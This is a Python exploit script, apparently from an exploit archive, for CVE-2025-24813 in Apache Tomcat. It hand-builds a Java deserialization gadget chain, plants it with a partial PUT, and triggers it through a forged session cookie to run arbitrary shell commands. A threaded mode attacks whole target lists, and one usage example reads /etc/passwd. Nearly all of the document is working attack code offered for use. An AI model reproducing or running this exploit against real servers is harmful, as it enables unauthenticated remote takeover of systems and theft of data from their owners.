## https://sploitus.com/exploit?id=PACKETSTORM:228275
#!/usr/bin/env python3
"""
CVE-2025-24813 - Apache Tomcat partial PUT path equivalence -> Java deserialization RCE
Affected: Apache Tomcat 9.0.0.M1-9.0.98, 10.1.0-M1-10.1.34, 11.0.0-M1-11.0.2, 8.5.0-8.5.100
Type: RCE (unauthenticated)
Root cause (re-derived from the Tomcat source at tag 9.0.98, not from any public PoC):
DefaultServlet.executePartialPut() stages a partial PUT body in a temp file whose
name is the request path with every '/' turned into '.'. A PUT to "/NAME/session"
therefore creates ".NAME.session" directly in the servlet context temp directory,
and the vulnerable build never deletes it (only deleteOnExit()). When the webapp
uses PersistentManager + FileStore at the default directory ("."), that same temp
directory is where sessions are read from, and FileStore.file(id) is id + ".session".
So the planted file ".NAME.session" is loadable as session id ".NAME". Sending a
request that opens a session with "Cookie: JSESSIONID=.NAME" makes FileStore.load()
hand our bytes straight to ObjectInputStream.readObject() with no class filter,
detonating a gadget chain resolvable from WEB-INF/lib (Commons Collections 3.2.1).
The serialized Commons Collections gadget below is emitted byte-by-byte from the Java
serialization protocol - it is not adapted from anyone else's serialized blob.
Usage:
python exploit.py --host 127.0.0.1 --port 8080
python exploit.py --host 127.0.0.1 --port 8080 --command "id"
python exploit.py --host https://tomcat.corp.com:8443 --command "cat /etc/passwd"
python exploit.py --host 10.0.0.5 --port 8080 --trigger-path /app/whoami.jsp
python exploit.py --list targets.txt --workers 20
The RCE evidence is made network-observable: the gadget runs
/bin/sh -c "<command> > <docroot>/<random>.txt 2>&1"
and the exploit then fetches GET /<random>.txt over HTTP and prints the body. A 200
whose body carries the command output is self-contained proof of code execution.
"""
import argparse
import secrets
import ssl
import struct
import sys
import time
from urllib.parse import urlparse
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except Exception: # pragma: no cover - requests is a hard dependency
print("This exploit requires the 'requests' package (pip install requests).")
sys.exit(2)
CVE_ID = "CVE-2025-24813"
VULN_TYPE = "RCE"
DEFAULT_TRIGGER_PATH = "/trigger.jsp"
DEFAULT_DOCROOT = "/usr/local/tomcat/webapps/ROOT"
# --------------------------------------------------------------------------- #
# Output helpers #
# --------------------------------------------------------------------------- #
def header(host, port):
print("\n%s" % ("=" * 60))
print(" ALIM EXPLOIT %s" % CVE_ID)
print(" Type: %s | Target: %s:%s" % (VULN_TYPE, host, port))
print("%s\n" % ("=" * 60))
def step(n, msg):
print("[STEP %d] %s" % (n, msg))
def section(label, content):
print("\n--- %s ---" % label)
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n%s" % ("=" * 60))
print(" RESULT : %s" % ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: %s" % evidence)
print("%s\n" % ("=" * 60))
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# Java serialization stream writer #
# #
# A minimal, reference-free encoder for the exact object graph we need. #
# Every class descriptor and type-signature string is written out in full #
# (no TC_REFERENCE back-pointers); the graph is a tree with no shared nodes, #
# so this is byte-for-byte valid and much less error prone to build. #
# --------------------------------------------------------------------------- #
TC_NULL = 0x70
TC_CLASSDESC = 0x72
TC_OBJECT = 0x73
TC_STRING = 0x74
TC_ARRAY = 0x75
TC_CLASS = 0x76
TC_BLOCKDATA = 0x77
TC_ENDBLOCKDATA = 0x78
SC_WRITE_METHOD = 0x01
SC_SERIALIZABLE = 0x02
# serialVersionUIDs read out of commons-collections:3.2.1 and the JDK.
SUID = {
"java.util.HashSet": -5024744406713321676,
"java.util.HashMap": 362498820763181265,
"TiedMapEntry": -8453869361373831205,
"LazyMap": 7990956402564206740,
"ChainedTransformer": 3514945074733160196,
"ConstantTransformer": 6374440726369055124,
"InvokerTransformer": -8653385846894047688,
"java.lang.String": -6849794470754667710,
}
# Fully-qualified names.
CN = {
"TiedMapEntry": "org.apache.commons.collections.keyvalue.TiedMapEntry",
"LazyMap": "org.apache.commons.collections.map.LazyMap",
"ChainedTransformer": "org.apache.commons.collections.functors.ChainedTransformer",
"ConstantTransformer":"org.apache.commons.collections.functors.ConstantTransformer",
"InvokerTransformer": "org.apache.commons.collections.functors.InvokerTransformer",
"TransformerArray": "[Lorg.apache.commons.collections.Transformer;",
}
class JavaSer(object):
def __init__(self):
self.b = bytearray()
# -- primitives -------------------------------------------------------- #
def u1(self, v):
self.b.append(v & 0xFF)
def u2(self, v):
self.b += struct.pack(">H", v)
def i4(self, v):
self.b += struct.pack(">i", v)
def i8(self, v):
self.b += struct.pack(">q", v)
def f4(self, v):
self.b += struct.pack(">f", v)
def utf(self, s):
raw = s.encode("utf-8")
self.u2(len(raw))
self.b += raw
def utf_string(self, s):
"""A TC_STRING object (used for String field values / string elements)."""
self.u1(TC_STRING)
self.utf(s)
# -- class descriptors ------------------------------------------------- #
def class_desc(self, name, suid, flags, fields):
"""
fields: list of (typecode_char, field_name, signature_or_None).
Reference-free: super is always null, no class annotations.
"""
self.u1(TC_CLASSDESC)
self.utf(name)
self.i8(suid)
self.u1(flags)
self.u2(len(fields))
for tc, fname, sig in fields:
self.u1(ord(tc))
self.utf(fname)
if tc in ("L", "["):
self.utf_string(sig)
self.u1(TC_ENDBLOCKDATA) # end of class annotations
self.u1(TC_NULL) # no superclass
# -- Class objects (TC_CLASS) ----------------------------------------- #
def class_ref_nonserial(self, name):
"""A java.lang.Class object for a non-serializable class (suid 0, flags 0)."""
self.u1(TC_CLASS)
self.class_desc(name, 0, 0, [])
def class_ref_string(self):
"""Class object for java.lang.String (serializable, real suid)."""
self.u1(TC_CLASS)
self.class_desc("java.lang.String", SUID["java.lang.String"], SC_SERIALIZABLE, [])
def class_ref_array(self, name):
"""Class object for an array type (arrays are serializable, suid 0)."""
self.u1(TC_CLASS)
self.class_desc(name, 0, SC_SERIALIZABLE, [])
# --------------------------------------------------------------------------- #
# Object-graph emitters #
# --------------------------------------------------------------------------- #
def emit_hashmap_empty(s):
"""An empty java.util.HashMap (the map LazyMap decorates)."""
s.u1(TC_OBJECT)
s.class_desc("java.util.HashMap", SUID["java.util.HashMap"],
SC_SERIALIZABLE | SC_WRITE_METHOD,
[("F", "loadFactor", None), ("I", "threshold", None)])
# default field values: loadFactor, threshold (both primitives, raw)
s.f4(0.75)
s.i4(12)
# objectAnnotation from HashMap.writeObject: writeInt(buckets), writeInt(size)
s.u1(TC_BLOCKDATA)
s.u1(8)
s.i4(16) # buckets
s.i4(0) # size (empty)
s.u1(TC_ENDBLOCKDATA)
def emit_class_array(s, class_emitters):
"""Object[] of java.lang.Class -> [Ljava.lang.Class;"""
s.u1(TC_ARRAY)
s.class_desc("[Ljava.lang.Class;", 0, SC_SERIALIZABLE, [])
s.i4(len(class_emitters))
for emit in class_emitters:
emit(s)
def emit_object_array(s, elem_emitters):
"""Object[] -> [Ljava.lang.Object;"""
s.u1(TC_ARRAY)
s.class_desc("[Ljava.lang.Object;", 0, SC_SERIALIZABLE, [])
s.i4(len(elem_emitters))
for emit in elem_emitters:
emit(s)
def emit_string_array(s, strings):
"""String[] -> [Ljava.lang.String;"""
s.u1(TC_ARRAY)
s.class_desc("[Ljava.lang.String;", 0, SC_SERIALIZABLE, [])
s.i4(len(strings))
for item in strings:
s.utf_string(item)
def emit_invoker(s, method_name, param_type_emitters, arg_emitters):
"""org.apache.commons.collections.functors.InvokerTransformer
Declared serializable fields in canonical (all-object, alphabetical) order:
iArgs ([Ljava/lang/Object;), iMethodName (Ljava/lang/String;), iParamTypes ([Ljava/lang/Class;)
"""
s.u1(TC_OBJECT)
s.class_desc(CN["InvokerTransformer"], SUID["InvokerTransformer"], SC_SERIALIZABLE, [
("[", "iArgs", "[Ljava/lang/Object;"),
("L", "iMethodName", "Ljava/lang/String;"),
("[", "iParamTypes", "[Ljava/lang/Class;"),
])
# field values in the same order
emit_object_array(s, arg_emitters) # iArgs
s.utf_string(method_name) # iMethodName
emit_class_array(s, param_type_emitters) # iParamTypes
def emit_constant_runtime(s):
"""ConstantTransformer holding the java.lang.Runtime Class object."""
s.u1(TC_OBJECT)
s.class_desc(CN["ConstantTransformer"], SUID["ConstantTransformer"], SC_SERIALIZABLE, [
("L", "iConstant", "Ljava/lang/Object;"),
])
s.class_ref_nonserial("java.lang.Runtime") # iConstant = Runtime.class
def emit_transformer_array(s, command_argv):
"""[Lorg.apache.commons.collections.Transformer; holding the 4-step chain."""
s.u1(TC_ARRAY)
s.class_desc(CN["TransformerArray"], 0, SC_SERIALIZABLE, [])
s.i4(4)
# 0: ConstantTransformer(Runtime.class)
emit_constant_runtime(s)
# 1: InvokerTransformer("getMethod", [String.class, Class[].class], ["getRuntime", new Class[0]])
emit_invoker(
s, "getMethod",
[lambda x: x.class_ref_string(),
lambda x: x.class_ref_array("[Ljava.lang.Class;")],
[lambda x: x.utf_string("getRuntime"),
lambda x: emit_class_array(x, [])],
)
# 2: InvokerTransformer("invoke", [Object.class, Object[].class], [null, new Object[0]])
emit_invoker(
s, "invoke",
[lambda x: x.class_ref_nonserial("java.lang.Object"),
lambda x: x.class_ref_array("[Ljava.lang.Object;")],
[lambda x: x.u1(TC_NULL),
lambda x: emit_object_array(x, [])],
)
# 3: InvokerTransformer("exec", [String[].class], [ new String[]{...argv...} ])
emit_invoker(
s, "exec",
[lambda x: x.class_ref_array("[Ljava.lang.String;")],
[lambda x: emit_string_array(x, command_argv)],
)
def emit_chained_transformer(s, command_argv):
s.u1(TC_OBJECT)
s.class_desc(CN["ChainedTransformer"], SUID["ChainedTransformer"], SC_SERIALIZABLE, [
("[", "iTransformers", "[Lorg/apache/commons/collections/Transformer;"),
])
emit_transformer_array(s, command_argv)
def emit_lazy_map(s, command_argv):
"""LazyMap: custom writeObject writes the 'factory' field, then the decorated map."""
s.u1(TC_OBJECT)
s.class_desc(CN["LazyMap"], SUID["LazyMap"], SC_SERIALIZABLE | SC_WRITE_METHOD, [
("L", "factory", "Lorg/apache/commons/collections/Transformer;"),
])
# default field value: factory
emit_chained_transformer(s, command_argv)
# objectAnnotation: out.writeObject(map) then end
emit_hashmap_empty(s)
s.u1(TC_ENDBLOCKDATA)
def emit_tied_map_entry(s, key, command_argv):
"""TiedMapEntry: fields (alphabetical) key (Object), map (Map)."""
s.u1(TC_OBJECT)
s.class_desc(CN["TiedMapEntry"], SUID["TiedMapEntry"], SC_SERIALIZABLE, [
("L", "key", "Ljava/lang/Object;"),
("L", "map", "Ljava/util/Map;"),
])
s.utf_string(key) # key
emit_lazy_map(s, command_argv) # map
def build_payload(command_argv, key):
"""
Build the full serialized stream for a HashSet whose single element is a
TiedMapEntry that detonates the ChainedTransformer during HashSet.readObject().
"""
s = JavaSer()
s.b += b"\xac\xed\x00\x05" # STREAM_MAGIC + STREAM_VERSION
s.u1(TC_OBJECT)
s.class_desc("java.util.HashSet", SUID["java.util.HashSet"],
SC_SERIALIZABLE | SC_WRITE_METHOD, [])
# HashSet has no default serializable fields.
# objectAnnotation from HashSet.writeObject: capacity(int), loadFactor(float), size(int)
s.u1(TC_BLOCKDATA)
s.u1(12)
s.i4(16) # capacity
s.f4(0.75) # loadFactor
s.i4(1) # size
emit_tied_map_entry(s, key, command_argv) # the single element
s.u1(TC_ENDBLOCKDATA)
return bytes(s.b)
# --------------------------------------------------------------------------- #
# Exploit primitives #
# --------------------------------------------------------------------------- #
def _rand_name(n=10):
alphabet = "abcdefghijklmnopqrstuvwxyz0123456789"
return "".join(secrets.choice(alphabet) for _ in range(n))
def _base_url(host, port, use_tls):
scheme = "https" if use_tls else "http"
return "%s://%s:%d" % (scheme, host, port)
def _join(base_path, leaf):
root = base_path.rstrip("/")
return root + "/" + leaf.lstrip("/")
def _core(host, port, use_tls, base_path, trigger_path, docroot, command,
timeout=20, verbose=False):
"""
Plant -> trigger -> read back. Returns (success, evidence, output_text).
Prints via step()/section() only when verbose=True; never calls sys.exit().
"""
base = _base_url(host, port, use_tls)
name = _rand_name() # [a-z0-9] only -> session id ".name" has one dot at index 0
marker = _rand_name()
sess_id = "." + name
# Command whose *effect* is network-observable: write output into the docroot,
# then fetch it over HTTP. Runtime.exec must use the String[] form or the shell
# redirection would be passed as a literal argument.
marker_file = docroot.rstrip("/") + "/" + marker + ".txt"
# Group the command so the redirect captures a compound command's full output,
# not just the last element of a ';'-separated list.
shell_cmd = "{ %s ; } > %s 2>&1" % (command, marker_file)
argv = ["/bin/sh", "-c", shell_cmd]
payload = build_payload(argv, key=_rand_name())
n = len(payload)
plant_url = base + _join(base_path, name + "/session")
marker_url = base + _join(base_path, marker + ".txt")
trigger_url = base + trigger_path
sess = requests.Session()
sess.trust_env = False
# -- Step 1: plant the staging file via a partial PUT -------------------- #
if verbose:
step(1, "Planting deserialization payload via partial PUT (%d bytes) -> %s"
% (n, plant_url))
put_headers = {
"Content-Range": "bytes 0-%d/%d" % (n - 1, n),
"Content-Type": "application/octet-stream",
}
try:
r1 = sess.put(plant_url, data=payload, headers=put_headers,
timeout=timeout, verify=False, allow_redirects=False)
except requests.RequestException as e:
return False, "unreachable during PUT (%s)" % e.__class__.__name__, ""
if verbose:
section("PLANT RESPONSE", "HTTP %d (409/201/204 = staging file created)" % r1.status_code)
if r1.status_code == 405:
return False, "PUT returned 405 - DefaultServlet readonly=true (not exploitable)", ""
if r1.status_code == 400:
return False, "PUT returned 400 - allowPartialPut disabled or Content-Range rejected", ""
if r1.status_code not in (409, 201, 204, 200):
return (False,
"unexpected PUT status %d - target may be patched or not writable" % r1.status_code,
"")
# -- Step 2: trigger deserialization (do NOT sleep - the file is reaped) - #
if verbose:
step(2, "Triggering deserialization: GET %s with Cookie JSESSIONID=%s"
% (trigger_url, sess_id))
trig_headers = {"Cookie": "JSESSIONID=%s" % sess_id}
try:
r2 = sess.get(trigger_url, headers=trig_headers,
timeout=timeout, verify=False, allow_redirects=False)
trig_status = r2.status_code
except requests.RequestException as e:
# Even a hard reset here can mean the chain ran; keep going to read the marker.
trig_status = -1
if verbose:
section("TRIGGER", "request error (%s) - checking for command output anyway"
% e.__class__.__name__)
if verbose and trig_status != -1:
# 500 = deserialization path reached and the (Long) cast blew up after the chain ran.
section("TRIGGER RESPONSE",
"HTTP %d (500 = payload was read and deserialised)" % trig_status)
# -- Step 3: read the command output back over HTTP --------------------- #
if verbose:
step(3, "Reading command output over HTTP: GET %s" % marker_url)
output = ""
for _ in range(8):
try:
r3 = sess.get(marker_url, timeout=timeout, verify=False, allow_redirects=False)
except requests.RequestException:
time.sleep(0.7)
continue
if r3.status_code == 200 and r3.text.strip():
output = r3.text
break
time.sleep(0.7)
if output.strip():
first = output.strip().splitlines()[0].strip()
return True, "command '%s' executed - %s" % (command, first), output
if trig_status == 500:
return (False,
"deserialization reached (HTTP 500) but no command output at %s - "
"check --docroot / --command" % marker_url, "")
if trig_status == 200:
return (False,
"trigger returned 200 (fresh session) - staged file missing/reaped or target patched",
"")
return False, "no command output retrieved (trigger status %s)" % trig_status, ""
# --------------------------------------------------------------------------- #
# Single-target exploit #
# --------------------------------------------------------------------------- #
def exploit(host, port, use_tls, base_path, trigger_path, docroot, command):
header(host, port)
# Optional recon: PUT in the Allow header confirms readonly=false without writing.
try:
base = _base_url(host, port, use_tls)
opt = requests.options(base + _join(base_path, "favicon.ico"),
timeout=10, verify=False, allow_redirects=False)
allow = opt.headers.get("Allow", "")
if allow:
section("RECON (OPTIONS Allow)",
"%s %s" % (allow, "<- PUT present, writes enabled" if "PUT" in allow.upper()
else "<- PUT absent, readonly may still be true"))
except requests.RequestException:
pass
ok, evidence, output = _core(host, port, use_tls, base_path, trigger_path,
docroot, command, verbose=True)
if ok:
section("COMMAND OUTPUT", output)
else:
section("RESULT DETAIL", evidence)
done(ok, evidence)
# --------------------------------------------------------------------------- #
# Scan mode #
# --------------------------------------------------------------------------- #
def _try_exploit(host, port, use_tls, base_path="/", trigger_path=DEFAULT_TRIGGER_PATH,
docroot=DEFAULT_DOCROOT, command="id"):
"""Silent probe for --list mode. Returns (success, evidence). Never prints/exits."""
try:
ok, evidence, _ = _core(host, port, use_tls, base_path, trigger_path,
docroot, command, verbose=False)
return ok, evidence
except Exception as e: # pragma: no cover - defensive, scan must not crash
return False, "error (%s)" % e.__class__.__name__
def _parse_target(line, default_port, default_path="/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers, trigger_path, docroot, command):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n%s" % ("=" * 60))
print(" %s - Batch Scan (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
print("%s\n" % ("=" * 60))
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = "%s://%s:%s" % ("https" if use_tls else "http", host, port)
ok, evidence = _try_exploit(host, port, use_tls, base_path=path,
trigger_path=trigger_path, docroot=docroot,
command=command)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
"Exploited" if ok else "Not vulnerable", evidence))
if ok:
success_count += 1
total = len(targets)
print("\n%s" % ("=" * 60))
print(" SCAN COMPLETE %d exploited / %d not vulnerable (%d total)"
% (success_count, total - success_count, total))
print("%s\n" % ("=" * 60))
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- #
# CLI #
# --------------------------------------------------------------------------- #
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=8080, help="Default port (default: 8080)")
parser.add_argument("--command", default="id",
help="Command to execute on the target (default: id)")
parser.add_argument("--trigger-path", default=DEFAULT_TRIGGER_PATH,
help="A path in the app that calls request.getSession() "
"(default: %s)" % DEFAULT_TRIGGER_PATH)
parser.add_argument("--docroot", default=DEFAULT_DOCROOT,
help="Web-served, writable directory for the evidence file "
"(default: %s)" % DEFAULT_DOCROOT)
parser.add_argument("--base-path", default="/",
help="Context path prefix of the target webapp (default: /)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
trigger_path=args.trigger_path, docroot=args.docroot, command=args.command)
else:
parsed = _parse_target(args.host, args.port, default_path=args.base_path)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, args.base_path)
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.trigger_path, args.docroot, args.command)